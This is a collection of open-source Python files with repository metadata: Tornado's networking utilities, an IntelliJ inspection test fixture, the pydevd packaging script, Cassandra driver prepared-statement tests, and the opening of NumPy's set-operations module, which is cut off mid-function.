`~socket.getaddrinfo`, like ``socket.AI_PASSIVE | socket.AI_NUMERICHOST``. """ sockets = [] if address == "": address = None if not socket.has_ipv6 and family == socket.AF_UNSPEC: # Python can be compiled with --disable-ipv6, which causes # operations on AF_INET6 sockets to fail, but does not # automatically exclude those results from getaddrinfo # results. # http://bugs.python.org/issue16208 family = socket.AF_INET if flags is None: flags = socket.AI_PASSIVE bound_port = None for res in set(socket.getaddrinfo(address, port, family, socket.SOCK_STREAM, 0, flags)): af, socktype, proto, canonname, sockaddr = res if (platform.system() == 'Darwin' and address == 'localhost' and af == socket.AF_INET6 and sockaddr[3] != 0): # Mac OS X includes a link-local address fe80::1%lo0 in the # getaddrinfo results for 'localhost'. However, the firewall # doesn't understand that this is a local address and will # prompt for access (often repeatedly, due to an apparent # bug in its ability to remember granting access to an # application). Skip these addresses. continue try: sock = socket.socket(af, socktype, proto) except socket.error as e: if errno_from_exception(e) == errno.EAFNOSUPPORT: continue raise set_close_exec(sock.fileno()) if os.name != 'nt': sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if af == socket.AF_INET6: # On linux, ipv6 sockets accept ipv4 too by default, # but this makes it impossible to bind to both # 0.0.0.0 in ipv4 and :: in ipv6. On other systems, # separate sockets *must* be used to listen for both ipv4 # and ipv6. For consistency, always disable ipv4 on our # ipv6 sockets and use a separate ipv4 socket when needed. # # Python 2.x on windows doesn't have IPPROTO_IPV6. if hasattr(socket, "IPPROTO_IPV6"): sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1) # automatic port allocation with port=None # should bind on the same port on IPv4 and IPv6 host, requested_port = sockaddr[:2] if requested_port == 0 and bound_port is not None: sockaddr = tuple([host, bound_port] + list(sockaddr[2:])) sock.setblocking(0) sock.bind(sockaddr) bound_port = sock.getsockname()[1] sock.listen(backlog) sockets.append(sock) return sockets if hasattr(socket, 'AF_UNIX'): def bind_unix_socket(file, mode=0o600, backlog=128): """Creates a listening unix socket. If a socket with the given name already exists, it will be deleted. If any other file with that name exists, an exception will be raised. Returns a socket object (not a list of socket objects like `bind_sockets`) """ sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) set_close_exec(sock.fileno()) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setblocking(0) try: st = os.stat(file) except OSError as err: if errno_from_exception(err) != errno.ENOENT: raise else: if stat.S_ISSOCK(st.st_mode): os.remove(file) else: raise ValueError("File %s exists and is not a socket", file) sock.bind(file) os.chmod(file, mode) sock.listen(backlog) return sock def add_accept_handler(sock, callback, io_loop=None): """Adds an `.IOLoop` event handler to accept new connections on ``sock``. When a connection is accepted, ``callback(connection, address)`` will be run (``connection`` is a socket object, and ``address`` is the address of the other end of the connection). Note that this signature is different from the ``callback(fd, events)`` signature used for `.IOLoop` handlers. """ if io_loop is None: io_loop = IOLoop.current() def accept_handler(fd, events): while True: try: connection, address = sock.accept() except socket.error as e: # _ERRNO_WOULDBLOCK indicate we have accepted every # connection that is available. if errno_from_exception(e) in _ERRNO_WOULDBLOCK: return # ECONNABORTED indicates that there was a connection # but it was closed while still in the accept queue. # (observed on FreeBSD). if errno_from_exception(e) == errno.ECONNABORTED: continue raise callback(connection, address) io_loop.add_handler(sock, accept_handler, IOLoop.READ) def is_valid_ip(ip): """Returns true if the given string is a well-formed IP address. Supports IPv4 and IPv6. """ if not ip or '\x00' in ip: # getaddrinfo resolves empty strings to localhost, and truncates # on zero bytes. return False try: res = socket.getaddrinfo(ip, 0, socket.AF_UNSPEC, socket.SOCK_STREAM, 0, socket.AI_NUMERICHOST) return bool(res) except socket.gaierror as e: if e.args[0] == socket.EAI_NONAME: return False raise return True class Resolver(Configurable): """Configurable asynchronous DNS resolver interface. By default, a blocking implementation is used (which simply calls `socket.getaddrinfo`). An alternative implementation can be chosen with the `Resolver.configure <.Configurable.configure>` class method:: Resolver.configure('tornado.netutil.ThreadedResolver') The implementations of this interface included with Tornado are * `tornado.netutil.BlockingResolver` * `tornado.netutil.ThreadedResolver` * `tornado.netutil.OverrideResolver` * `tornado.platform.twisted.TwistedResolver` * `tornado.platform.caresresolver.CaresResolver` """ @classmethod def configurable_base(cls): return Resolver @classmethod def configurable_default(cls): return BlockingResolver def resolve(self, host, port, family=socket.AF_UNSPEC, callback=None): """Resolves an address. The ``host`` argument is a string which may be a hostname or a literal IP address. Returns a `.Future` whose result is a list of (family, address) pairs, where address is a tuple suitable to pass to `socket.connect <socket.socket.connect>` (i.e. a ``(host, port)`` pair for IPv4; additional fields may be present for IPv6). If a ``callback`` is passed, it will be run with the result as an argument when it is complete. """ raise NotImplementedError() def close(self): """Closes the `Resolver`, freeing any resources used. .. versionadded:: 3.1 """ pass class ExecutorResolver(Resolver): """Resolver implementation using a `concurrent.futures.Executor`. Use this instead of `ThreadedResolver` when you require additional control over the executor being used. The executor will be shut down when the resolver is closed unless ``close_resolver=False``; use this if you want to reuse the same executor elsewhere. """ def initialize(self, io_loop=None, executor=None, close_executor=True): self.io_loop = io_loop or IOLoop.current() if executor is not None: self.executor = executor self.close_executor = close_executor else: self.executor = dummy_executor self.close_executor = False def close(self): if self.close_executor: self.executor.shutdown() self.executor = None @run_on_executor def resolve(self, host, port, family=socket.AF_UNSPEC): # On Solaris, getaddrinfo fails if the given port is not found # in /etc/services and no socket type is given, so we must pass # one here. The socket type used here doesn't seem to actually # matter (we discard the one we get back in the results), # so the addresses we return should still be usable with SOCK_DGRAM. addrinfo = socket.getaddrinfo(host, port, family, socket.SOCK_STREAM) results = [] for family, socktype, proto, canonname, address in addrinfo: results.append((family, address)) return results class BlockingResolver(ExecutorResolver): """Default `Resolver` implementation, using `socket.getaddrinfo`. The `.IOLoop` will be blocked during the resolution, although the callback will not be run until the next `.IOLoop` iteration. """ def initialize(self, io_loop=None): super(BlockingResolver, self).initialize(io_loop=io_loop) class ThreadedResolver(ExecutorResolver): """Multithreaded non-blocking `Resolver` implementation. Requires the `concurrent.futures` package to be installed (available in the standard library since Python 3.2, installable with ``pip install futures`` in older versions). The thread pool size can be configured with:: Resolver.configure('tornado.netutil.ThreadedResolver', num_threads=10) .. versionchanged:: 3.1 All ``ThreadedResolvers`` share a single thread pool, whose size is set by the first one to be created. """ _threadpool = None _threadpool_pid = None def initialize(self, io_loop=None, num_threads=10): threadpool = ThreadedResolver._create_threadpool(num_threads) super(ThreadedResolver, self).initialize( io_loop=io_loop, executor=threadpool, close_executor=False) @classmethod def _create_threadpool(cls, num_threads): pid = os.getpid() if cls._threadpool_pid != pid: # Threads cannot survive after a fork, so if our pid isn't what it # was when we created the pool then delete it. cls._threadpool = None if cls._threadpool is None: from concurrent.futures import ThreadPoolExecutor cls._threadpool = ThreadPoolExecutor(num_threads) cls._threadpool_pid = pid return cls._threadpool class OverrideResolver(Resolver): """Wraps a resolver with a mapping of overrides. This can be used to make local DNS changes (e.g. for testing) without modifying system-wide settings. The mapping can contain either host strings or host-port pairs. """ def initialize(self, resolver, mapping): self.resolver = resolver self.mapping = mapping def close(self): self.resolver.close() def resolve(self, host, port, *args, **kwargs): if (host, port) in self.mapping: host, port = self.mapping[(host, port)] elif host in self.mapping: host = self.mapping[host] return self.resolver.resolve(host, port, *args, **kwargs) # These are the keyword arguments to ssl.wrap_socket that must be translated # to their SSLContext equivalents (the other arguments are still passed # to SSLContext.wrap_socket). _SSL_CONTEXT_KEYWORDS = frozenset(['ssl_version', 'certfile', 'keyfile', 'cert_reqs', 'ca_certs', 'ciphers']) def ssl_options_to_context(ssl_options): """Try to convert an ``ssl_options`` dictionary to an `~ssl.SSLContext` object. The ``ssl_options`` dictionary contains keywords to be passed to `ssl.wrap_socket`. In Python 3.2+, `ssl.SSLContext` objects can be used instead. This function converts the dict form to its `~ssl.SSLContext` equivalent, and may be used when a component which accepts both forms needs to upgrade to the `~ssl.SSLContext` version to use features like SNI or NPN. """ if isinstance(ssl_options, dict): assert all(k in _SSL_CONTEXT_KEYWORDS for k in ssl_options), ssl_options if (not hasattr(ssl, 'SSLContext') or isinstance(ssl_options, ssl.SSLContext)): return ssl_options context = ssl.SSLContext( ssl_options.get('ssl_version', ssl.PROTOCOL_SSLv23)) if 'certfile' in ssl_options: context.load_cert_chain(ssl_options['certfile'], ssl_options.get('keyfile', None)) if 'cert_reqs' in ssl_options: context.verify_mode = ssl_options['cert_reqs'] if 'ca_certs' in ssl_options: context.load_verify_locations(ssl_options['ca_certs']) if 'ciphers' in ssl_options: context.set_ciphers(ssl_options['ciphers']) if hasattr(ssl, 'OP_NO_COMPRESSION'): # Disable TLS compression to avoid CRIME and related attacks. # This constant wasn't added until python 3.3. context.options |= ssl.OP_NO_COMPRESSION return context def ssl_wrap_socket(socket, ssl_options, server_hostname=None, **kwargs): """Returns an ``ssl.SSLSocket`` wrapping the given socket. ``ssl_options`` may be either a dictionary (as accepted by `ssl_options_to_context`) or an `ssl.SSLContext` object. Additional keyword arguments are passed to ``wrap_socket`` (either the `~ssl.SSLContext` method or the `ssl` module function as appropriate). """ context = ssl_options_to_context(ssl_options) if hasattr(ssl, 'SSLContext') and isinstance(context, ssl.SSLContext): if server_hostname is not None and getattr(ssl, 'HAS_SNI'): # Python doesn't have server-side SNI support so we can't # really unittest this, but it can be manually tested with # python3.2 -m tornado.httpclient https://sni.velox.ch return context.wrap_socket(socket, server_hostname=server_hostname, **kwargs) else: return context.wrap_socket(socket, **kwargs) else: return ssl.wrap_socket(socket, **dict(context, **kwargs))
whitepyro/debian_server_setup
tornado/netutil.py
Python
gpl-3.0
17,330
from m1 import <error descr="Cannot find reference 'foo' in 'm1.pyi'">foo</error> from m1 import <error descr="Cannot find reference 'bar' in 'm1.pyi'">bar</error> from m1 import bar_imported from m1 import <error descr="Cannot find reference 'm2' in 'm1.pyi'">m2</error> from m1 import m2_imported print(foo, bar, bar_imported, m2, m2_imported)
goodwinnk/intellij-community
python/testData/pyi/inspections/hiddenPyiImports/HiddenPyiImports.py
Python
apache-2.0
347
''' Full setup, used to distribute the debugger backend to PyPi. Note that this is mostly so that users can do: pip install pydevd in a machine for doing remote-debugging, as a local installation with the IDE should have everything already distributed. Reference on wheels: https://hynek.me/articles/sharing-your-labor-of-love-pypi-quick-and-dirty/ http://lucumr.pocoo.org/2014/1/27/python-on-wheels/ Another (no wheels): https://jamie.curle.io/blog/my-first-experience-adding-package-pypi/ New version: change version and then: rm dist/pydevd* C:\tools\Miniconda32\Scripts\activate py27_32 python setup.py sdist bdist_wheel deactivate C:\tools\Miniconda32\Scripts\activate py34_32 python setup.py sdist bdist_wheel deactivate C:\tools\Miniconda32\Scripts\activate py35_32 python setup.py sdist bdist_wheel deactivate C:\tools\Miniconda\Scripts\activate py27_64 python setup.py sdist bdist_wheel deactivate C:\tools\Miniconda\Scripts\activate py34_64 python setup.py sdist bdist_wheel deactivate C:\tools\Miniconda\Scripts\activate py35_64 python setup.py sdist bdist_wheel deactivate twine upload dist/pydevd* ''' from setuptools import setup from setuptools.dist import Distribution from distutils.extension import Extension import os class BinaryDistribution(Distribution): def is_pure(self): return False data_files = [] def accept_file(f): f = f.lower() for ext in '.py .dll .so .dylib .txt .cpp .h .bat .c .sh .md .txt'.split(): if f.endswith(ext): return True return f in ['readme', 'makefile'] data_files.append(('pydevd_attach_to_process', [os.path.join('pydevd_attach_to_process', f) for f in os.listdir('pydevd_attach_to_process') if accept_file(f)])) for root, dirs, files in os.walk("pydevd_attach_to_process"): for d in dirs: data_files.append((os.path.join(root, d), [os.path.join(root, d, f) for f in os.listdir(os.path.join(root, d)) if accept_file(f)])) import pydevd version = pydevd.__version__ args = dict( name='pydevd', version=version, description = 'PyDev.Debugger (used in PyDev and PyCharm)', author='Fabio Zadrozny and others', url='https://github.com/fabioz/PyDev.Debugger/', license='EPL (Eclipse Public License)', packages=[ '_pydev_bundle', '_pydev_imps', '_pydev_runfiles', '_pydevd_bundle', 'pydev_ipython', # 'pydev_sitecustomize', -- Not actually a package (not added) # 'pydevd_attach_to_process', -- Not actually a package (included in MANIFEST.in) 'pydevd_concurrency_analyser', 'pydevd_plugins', ], py_modules=[ # 'interpreterInfo', -- Not needed for debugger # 'pycompletionserver', -- Not needed for debugger 'pydev_app_engine_debug_startup', # 'pydev_coverage', -- Not needed for debugger # 'pydev_pysrc', -- Not needed for debugger 'pydev_run_in_console', 'pydevconsole', 'pydevd_file_utils', 'pydevd', 'pydevd_tracing', # 'runfiles', -- Not needed for debugger # 'setup_cython', -- Should not be included as a module # 'setup', -- Should not be included as a module ], classifiers=[ 'Development Status :: 6 - Mature', 'Environment :: Console', 'Intended Audience :: Developers', # It seems that the license is not recognized by Pypi, so, not categorizing it for now. # https://bitbucket.org/pypa/pypi/issues/369/the-eclipse-public-license-superseeded # 'License :: OSI Approved :: Eclipse Public License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Topic :: Software Development :: Debuggers', ], data_files=data_files, keywords=['pydev', 'pydevd', 'pydev.debugger'], include_package_data=True, zip_safe=False, ) import sys try: args_with_binaries = args.copy() args_with_binaries.update(dict( distclass=BinaryDistribution, ext_modules=[ # In this setup, don't even try to compile with cython, just go with the .c file which should've # been properly generated from a tested version. Extension('_pydevd_bundle.pydevd_cython', ["_pydevd_bundle/pydevd_cython.c",]) ] )) setup(**args_with_binaries) except: # Compile failed: just setup without compiling cython deps. setup(**args) sys.stdout.write('Plain-python version of pydevd installed (cython speedups not available).\n')
asedunov/intellij-community
python/helpers/pydev/setup.py
Python
apache-2.0
4,628
# Copyright 2013-2015 DataStax, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from tests.integration import use_singledc, PROTOCOL_VERSION try: import unittest2 as unittest except ImportError: import unittest # noqa from cassandra import InvalidRequest from cassandra.cluster import Cluster from cassandra.query import PreparedStatement, UNSET_VALUE def setup_module(): use_singledc() class PreparedStatementTests(unittest.TestCase): def test_basic(self): """ Test basic PreparedStatement usage """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() session.execute( """ CREATE KEYSPACE preparedtests WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} """) session.set_keyspace("preparedtests") session.execute( """ CREATE TABLE cf0 ( a text, b text, c text, PRIMARY KEY (a, b) ) """) prepared = session.prepare( """ INSERT INTO cf0 (a, b, c) VALUES (?, ?, ?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind(('a', 'b', 'c')) session.execute(bound) prepared = session.prepare( """ SELECT * FROM cf0 WHERE a=? """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind(('a')) results = session.execute(bound) self.assertEqual(results, [('a', 'b', 'c')]) # test with new dict binding prepared = session.prepare( """ INSERT INTO cf0 (a, b, c) VALUES (?, ?, ?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind({ 'a': 'x', 'b': 'y', 'c': 'z' }) session.execute(bound) prepared = session.prepare( """ SELECT * FROM cf0 WHERE a=? """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind({'a': 'x'}) results = session.execute(bound) self.assertEqual(results, [('x', 'y', 'z')]) cluster.shutdown() def test_missing_primary_key(self): """ Ensure an InvalidRequest is thrown when prepared statements are missing the primary key """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (v) VALUES (?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind((1,)) self.assertRaises(InvalidRequest, session.execute, bound) cluster.shutdown() def test_missing_primary_key_dicts(self): """ Ensure an InvalidRequest is thrown when prepared statements are missing the primary key with dict bindings """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (v) VALUES (?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind({'v': 1}) self.assertRaises(InvalidRequest, session.execute, bound) cluster.shutdown() def test_too_many_bind_values(self): """ Ensure a ValueError is thrown when attempting to bind too many variables """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (v) VALUES (?) """) self.assertIsInstance(prepared, PreparedStatement) self.assertRaises(ValueError, prepared.bind, (1, 2)) cluster.shutdown() def test_too_many_bind_values_dicts(self): """ Ensure an error is thrown when attempting to bind the wrong values with dict bindings """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (?, ?) """) self.assertIsInstance(prepared, PreparedStatement) # too many values self.assertRaises(ValueError, prepared.bind, {'k': 1, 'v': 2, 'v2': 3}) # right number, but one does not belong if PROTOCOL_VERSION < 4: # pre v4, the driver bails with key error when 'v' is found missing self.assertRaises(KeyError, prepared.bind, {'k': 1, 'v2': 3}) else: # post v4, the driver uses UNSET_VALUE for 'v' and bails when 'v2' is unbound self.assertRaises(ValueError, prepared.bind, {'k': 1, 'v2': 3}) # also catch too few variables with dicts self.assertIsInstance(prepared, PreparedStatement) if PROTOCOL_VERSION < 4: self.assertRaises(KeyError, prepared.bind, {}) else: # post v4, the driver attempts to use UNSET_VALUE for unspecified keys self.assertRaises(ValueError, prepared.bind, {}) cluster.shutdown() def test_none_values(self): """ Ensure binding None is handled correctly """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (?, ?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind((1, None)) session.execute(bound) prepared = session.prepare( """ SELECT * FROM test3rf.test WHERE k=? """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind((1,)) results = session.execute(bound) self.assertEqual(results[0].v, None) cluster.shutdown() def test_unset_values(self): """ Test to validate that UNSET_VALUEs are bound, and have the expected effect Prepare a statement and insert all values. Then follow with execute excluding parameters. Verify that the original values are unaffected. @since 2.6.0 @jira_ticket PYTHON-317 @expected_result UNSET_VALUE is implicitly added to bind parameters, and properly encoded, leving unset values unaffected. @test_category prepared_statements:binding """ if PROTOCOL_VERSION < 4: raise unittest.SkipTest("Binding UNSET values is not supported in protocol version < 4") cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() # table with at least two values so one can be used as a marker session.execute("CREATE TABLE IF NOT EXISTS test1rf.test_unset_values (k int PRIMARY KEY, v0 int, v1 int)") insert = session.prepare("INSERT INTO test1rf.test_unset_values (k, v0, v1) VALUES (?, ?, ?)") select = session.prepare("SELECT * FROM test1rf.test_unset_values WHERE k=?") bind_expected = [ # initial condition ((0, 0, 0), (0, 0, 0)), # unset implicit ((0, 1,), (0, 1, 0)), ({'k': 0, 'v0': 2}, (0, 2, 0)), ({'k': 0, 'v1': 1}, (0, 2, 1)), # unset explicit ((0, 3, UNSET_VALUE), (0, 3, 1)), ((0, UNSET_VALUE, 2), (0, 3, 2)), ({'k': 0, 'v0': 4, 'v1': UNSET_VALUE}, (0, 4, 2)), ({'k': 0, 'v0': UNSET_VALUE, 'v1': 3}, (0, 4, 3)), # nulls still work ((0, None, None), (0, None, None)), ] for params, expected in bind_expected: session.execute(insert, params) results = session.execute(select, (0,)) self.assertEqual(results[0], expected) self.assertRaises(ValueError, session.execute, select, (UNSET_VALUE, 0, 0)) cluster.shutdown() def test_no_meta(self): cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (0, 0) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind(None) session.execute(bound) prepared = session.prepare( """ SELECT * FROM test3rf.test WHERE k=0 """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind(None) results = session.execute(bound) self.assertEqual(results[0].v, 0) cluster.shutdown() def test_none_values_dicts(self): """ Ensure binding None is handled correctly with dict bindings """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() # test with new dict binding prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (?, ?) """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind({'k': 1, 'v': None}) session.execute(bound) prepared = session.prepare( """ SELECT * FROM test3rf.test WHERE k=? """) self.assertIsInstance(prepared, PreparedStatement) bound = prepared.bind({'k': 1}) results = session.execute(bound) self.assertEqual(results[0].v, None) cluster.shutdown() def test_async_binding(self): """ Ensure None binding over async queries """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (?, ?) """) self.assertIsInstance(prepared, PreparedStatement) future = session.execute_async(prepared, (873, None)) future.result() prepared = session.prepare( """ SELECT * FROM test3rf.test WHERE k=? """) self.assertIsInstance(prepared, PreparedStatement) future = session.execute_async(prepared, (873,)) results = future.result() self.assertEqual(results[0].v, None) cluster.shutdown() def test_async_binding_dicts(self): """ Ensure None binding over async queries with dict bindings """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect() prepared = session.prepare( """ INSERT INTO test3rf.test (k, v) VALUES (?, ?) """) self.assertIsInstance(prepared, PreparedStatement) future = session.execute_async(prepared, {'k': 873, 'v': None}) future.result() prepared = session.prepare( """ SELECT * FROM test3rf.test WHERE k=? """) self.assertIsInstance(prepared, PreparedStatement) future = session.execute_async(prepared, {'k': 873}) results = future.result() self.assertEqual(results[0].v, None) cluster.shutdown() def test_raise_error_on_prepared_statement_execution_dropped_table(self): """ test for error in executing prepared statement on a dropped table test_raise_error_on_execute_prepared_statement_dropped_table tests that an InvalidRequest is raised when a prepared statement is executed after its corresponding table is dropped. This happens because if a prepared statement is invalid, the driver attempts to automatically re-prepare it on a non-existing table. @expected_errors InvalidRequest If a prepared statement is executed on a dropped table @since 2.6.0 @jira_ticket PYTHON-207 @expected_result InvalidRequest error should be raised upon prepared statement execution. @test_category prepared_statements """ cluster = Cluster(protocol_version=PROTOCOL_VERSION) session = cluster.connect("test3rf") session.execute("CREATE TABLE error_test (k int PRIMARY KEY, v int)") prepared = session.prepare("SELECT * FROM error_test WHERE k=?") session.execute("DROP TABLE error_test") with self.assertRaises(InvalidRequest): session.execute(prepared, [0]) cluster.shutdown()
bbirand/python-driver
tests/integration/standard/test_prepared_statements.py
Python
apache-2.0
13,413
""" Set operations for 1D numeric arrays based on sorting. :Contains: ediff1d, unique, intersect1d, setxor1d, in1d, union1d, setdiff1d :Notes: For floating point arrays, inaccurate results may appear due to usual round-off and floating point comparison issues. Speed could be gained in some operations by an implementation of sort(), that can provide directly the permutation vectors, avoiding thus calls to argsort(). To do: Optionally return indices analogously to unique for all functions. :Author: Robert Cimrman """ from __future__ import division, absolute_import, print_function import numpy as np __all__ = [ 'ediff1d', 'intersect1d', 'setxor1d', 'union1d', 'setdiff1d', 'unique', 'in1d' ] def ediff1d(ary, to_end=None, to_begin=None): """ The differences between consecutive elements of an array. Parameters ---------- ary : array_like If necessary, will be flattened before the differences are taken. to_end : array_like, optional Number(s) to append at the end of the returned differences. to_begin : array_like, optional Number(s) to prepend at the beginning of the returned differences. Returns ------- ediff1d : ndarray The differences. Loosely, this is ``ary.flat[1:] - ary.flat[:-1]``. See Also -------- diff, gradient Notes ----- When applied to masked arrays, this function drops the mask information if the `to_begin` and/or `to_end` parameters are used. Examples -------- >>> x = np.array([1, 2, 4, 7, 0]) >>> np.ediff1d(x) array([ 1, 2, 3, -7]) >>> np.ediff1d(x, to_begin=-99, to_end=np.array([88, 99])) array([-99, 1, 2, 3, -7, 88, 99]) The returned array is always 1D. >>> y = [[1, 2, 4], [1, 6, 24]] >>> np.ediff1d(y) array([ 1, 2, -3, 5, 18]) """ # force a 1d array ary = np.asanyarray(ary).ravel() # fast track default case if to_begin is None and to_end is None: return ary[1:] - ary[:-1] if to_begin is None: l_begin = 0 else: to_begin = np.asanyarray(to_begin).ravel() l_begin = len(to_begin) if to_end is None: l_end = 0 else: to_end = np.asanyarray(to_end).ravel() l_end = len(to_end) # do the calculation in place and copy to_begin and to_end l_diff = max(len(ary) - 1, 0) result = np.empty(l_diff + l_begin + l_end, dtype=ary.dtype) result = ary.__array_wrap__(result) if l_begin > 0: result[:l_begin] = to_begin if l_end > 0: result[l_begin + l_diff:] = to_end np.subtract(ary[1:], ary[:-1], result[l_begin:l_begin + l_diff]) return result def unique(ar, return_index=False, return_inverse=False, return_counts=False, axis=None): """ Find the unique elements of an array. Returns the sorted unique elements of an array. There are three optional outputs in addition to the unique elements: the indices of the input array that give the unique values, the indices of the unique array that reconstruct the input array, and the number of times each unique value comes up in the input array. Parameters ---------- ar : array_like Input array. Unless `axis` is specified, this will be flattened if it is not already 1-D. return_index : bool, optional If True, also return the indices of `ar` (along the specified axis, if provided, or in the flattened array) that result in the unique array. return_inverse : bool, optional If True, also return the indices of the unique array (for the specified axis, if provided) that can be used to reconstruct `ar`. return_counts : bool, optional If True, also return the number of times each unique item appears in `ar`. .. versionadded:: 1.9.0 axis : int or None, optional The axis to operate on. If None, `ar` will be flattened beforehand. Otherwise, duplicate items will be removed along the provided axis, with all the other axes belonging to the each of the unique elements. Object arrays or structured arrays that contain objects are not supported if the `axis` kwarg is used. .. versionadded:: 1.13.0 Returns ------- unique : ndarray The sorted unique values. unique_indices : ndarray, optional The indices of the first occurrences of the unique values in the original array. Only provided if `return_index` is True. unique_inverse : ndarray, optional The indices to reconstruct the original array from the unique array. Only provided if `return_inverse` is True. unique_counts : ndarray, optional The number of times each of the unique values comes up in the original array. Only provided if `return_counts` is True. .. versionadded:: 1.9.0 See Also -------- numpy.lib.arraysetops : Module with a number of other functions for performing set operations on arrays. Examples -------- >>> np.unique([1, 1, 2, 2, 3, 3]) array([1, 2, 3]) >>> a = np.array([[1, 1], [2, 3]]) >>> np.unique(a) array([1, 2, 3]) Return the unique rows of a 2D array >>> a = np.array([[1, 0, 0], [1, 0, 0], [2, 3, 4]]) >>> np.unique(a, axis=0) array([[1, 0, 0], [2, 3, 4]]) Return the indices of the original array that give the unique values: >>> a = np.array(['a', 'b', 'b', 'c', 'a']) >>> u, indices = np.unique(a, return_index=True) >>> u array(['a', 'b', 'c'], dtype='|S1') >>> indices array([0, 1, 3]) >>> a[indices] array(['a', 'b', 'c'], dtype='|S1') Reconstruct the input array from the unique values: >>> a = np.array([1, 2, 6, 4, 2, 3, 2]) >>> u, indices = np.unique(a, return_inverse=True) >>> u array([1, 2, 3, 4, 6]) >>> indices array([0, 1, 4, 3, 1, 2, 1]) >>> u[indices] array([1, 2, 6, 4, 2, 3, 2]) """ ar = np.asanyarray(ar) if axis is None: return _unique1d(ar, return_index, return_inverse, return_counts) if not (-ar.ndim <= axis < ar.ndim): raise ValueError('Invalid axis kwarg specified for unique') ar = np.swapaxes(ar, axis, 0) orig_shape, orig_dtype = ar.shape, ar.dtype # Must reshape to a contiguous 2D array for this to work... ar = ar.reshape(orig_shape[0], -1) ar = np.ascontiguousarray(ar) if ar.dtype.char in (np.typecodes['AllInteger'] + np.typecodes['Datetime'] + 'S'): # Optimization: Creating a view of your data with a np.void data type of # size the number of bytes in a full row. Handles any type where items # have a unique binary representation, i.e. 0 is only 0, not +0 and -0. dtype = np.dtype((np.void, ar.dtype.itemsize * ar.shape[1])) else: dtype = [('f{i}'.format(i=i), ar.dtype) for i in range(ar.shape[1])] try: consolidated = ar.view(dtype) except TypeError: # There's no good way to do this for object arrays, etc... msg = 'The axis argument to unique is not supported for dtype {dt}' raise TypeError(msg.format(dt=ar.dtype)) def reshape_uniq(uniq): uniq = uniq.view(orig_dtype) uniq = uniq.reshape(-1, *orig_shape[1:]) uniq = np.swapaxes(uniq, 0, axis) return uniq output = _unique1d(consolidated, return_index, return_inverse, return_counts) if not (return_index or return_inverse or return_counts): return reshape_uniq(output) else: uniq = reshape_uniq(output[0]) return (uniq,) + output[1:] def _unique1d(ar, return_index=False, return_inverse=False, return_counts=False): """ Find the unique elements of an array, ignoring shape. """ ar = np.asanyarray(ar).flatten() optional_indices = return_index or return_inverse optional_returns = optional_indices or return_counts if ar.size == 0: if not optional_returns: ret = ar else: ret = (ar,) if return_index: ret += (np.empty(0, np.bool),) if return_inverse: ret += (np.empty(0, np.bool),) if return_counts: ret += (np.empty(0, np.intp),) return ret if optional_indices: perm = ar.argsort(kind='mergesort' if return_index else 'quicksort') aux = ar[perm] else: ar.sort() aux = ar flag = np.concatenate(([True], aux[1:] != aux[:-1])) if not optional_returns: ret = aux[flag] else: ret = (aux[flag],) if return_index: ret += (perm[flag],) if return_inverse: iflag = np.cumsum(flag) - 1 inv_idx = np.empty(ar.shape, dtype=np.intp) inv_idx[perm] = iflag ret += (inv_idx,) if return_counts: idx = np.concatenate(np.nonzero(flag) + ([ar.size],)) ret += (np.diff(idx),) return ret def intersect1d(ar1, ar2, assume_unique=False): """ Find the intersection of two arrays. Return the sorted, unique values that are in both of the input arrays. Parameters ---------- ar1, ar2 : array_like Input arrays. assume_unique : bool If True, the input arrays are both assumed to be unique, which can speed up the calculation. Default is False. Returns ------- intersect1d : ndarray Sorted 1D array of common and unique elements. See Also -------- numpy.lib.arraysetops : Module with a number of other functions for performing set operations on arrays. Examples -------- >>> np.intersect1d([1, 3, 4, 3], [3, 1, 2, 1]) array([1, 3]) To intersect more than two arrays, use functools.reduce: >>> from functools import reduce >>> reduce(np.intersect1d, ([1, 3, 4, 3], [3, 1, 2, 1], [6, 3, 4, 2])) array([3]) """ if 